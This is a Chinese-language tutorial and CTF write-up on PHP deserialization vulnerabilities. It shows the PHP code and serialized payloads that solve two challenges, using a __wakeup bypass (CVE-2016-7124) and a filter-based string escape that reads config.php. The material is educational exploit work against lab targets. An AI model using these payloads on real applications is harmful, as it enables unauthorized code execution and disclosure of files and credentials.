- PHP反序列化漏洞也叫PHP對象注入,是一個非常常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常危險的后果。漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell等一系列不可控的后果。反序列化漏洞並不是PHP特有,也存在於Java、Python等語言之中,但其原理基本相通
- 一般程序在創建的時候,都會重寫析構函數和構造函數,反序列化就是利用這些重寫的函數。
反序列化用的主要函數
serialize() | 當在php中創建了一個對象后,可以通過serialize()把這個對象轉變成一個字符串,保存對象的值方便之后的傳遞與使用。 |
---|---|
unserialize() | 與 serialize() 對應的,unserialize() 可以從已存儲的表示中創建PHP的值,單就本次所關心的環境而言,可以從序列化后的結果中恢復對象(object) |
反序列化——魔術方法
魔術方法 | 注釋 |
---|---|
__construct | 具有構造函數的類會在每次創建新對象時先調用此方法 |
__destruct | 析構函數,析構函數會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。 |
__get | 讀取不可訪問屬性的值,__get 會被自動調用 |
__call | 在對象中調用一個不可訪問方法時,__call 會自動被調用 |
__invoke | 當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用 |
__wakeup | unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先准備對象需要的資源。 |
CTF中反序列化的題型
-
繞過
_wakeup
達到反序列化注入的目的 -
題目有filter函數,過濾字符從而達到逃逸
- 過濾后字符增多
- 過濾后字符減少
- 鍵逃逸
- 值逃逸
-
構造pop鏈
例題根據以上順序排列
CTF例題實戰
-
[極客大挑戰2019 ]PHP
找到提示有備份文件www.zip
-
// class.php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
//index.php <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
-
unserialize
調用完之后會立刻執行__wakeup()
-
__wakeup()
函數中會給username屬性賦值從而導致無法獲得flag -
這里只要繞過
__wakeup()
,username=admin,password=100即可<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new Name('admin',100); echo serialize($a);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:123;}
如何繞過__wakeup
當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)
payload
:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:123;}
tips:使用代碼替換Name屬性數目 手動增加替換容易出錯 前車之鑒(狗頭)
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = 'admin';
$this->password = 100;
}
}
$a=new Name('1','2');
$res= serialize($a);
//echo O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}'
$res=str_replace(':2:',':3:',$res);
echo urlencode($res);
//O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B}
-
[0CTF 2016]piapiapia
- 通過參數為數組繞過 strlen()
- 使用代碼中的filter函數 導致字符減少造成 實現字符逃逸
- 代碼審計
-
通過dirsearch.py 掃描目錄 得到www.zip
-
//class.php public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
class.php
中的filter函數, 會過濾select
,insert
,update
,delete
,where
變成
hacker
其中使用where
->hacker
是 5個字符變成6個字符 滿足字符串增多導致的后面有一個strlen()函數限制字符串的長度
strlen()函數的繞過
5.3.0 Prior versions treated arrays as the string Array
, thus returning a string length of5
and emitting anE_NOTICE
level error.翻譯 之后的版本以數組作為參數會導致函數返回值為5 php是一個弱類型語言,
md5()
,sha1()
,strcmp()
,strlen()
這些函數都可以通過特性繞過
config.php中有flag 我們最終要讀取的文件
只要把photo參數的數據通過反序列化字符逃逸改成config.php這樣就能得到源碼從而得到flag
payload
:<?php class profile{ public $username ='williamzou'; public $phone=18079828857; public $email='123@qq.com'; public $nickname=array("Volvo"); public $photo='config.php'; } $a=new profile(); $res= serialize($a); echo $res; //O:7:"profile":5:{s:8:"username";s:10:"williamzou";s:5:"phone";d:18079828857;s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"Volvo";}s:5:"photo";s:10:"config.php";}
";}s:5:"photo";s:10:"config.php";}
此題關鍵是讓這幾個字符逃逸出來
where
能讓一個字符逃逸出來 我們一共需要逃逸34個字符 則需要34個where
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
得到config.php的base64編碼后的數據
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezdhYWRhMTc3LWFhOWEtNGI5My05YjcyLWU3MzQ0ZDZmMDg2OH0nOwo/Pgo=
解密得到flag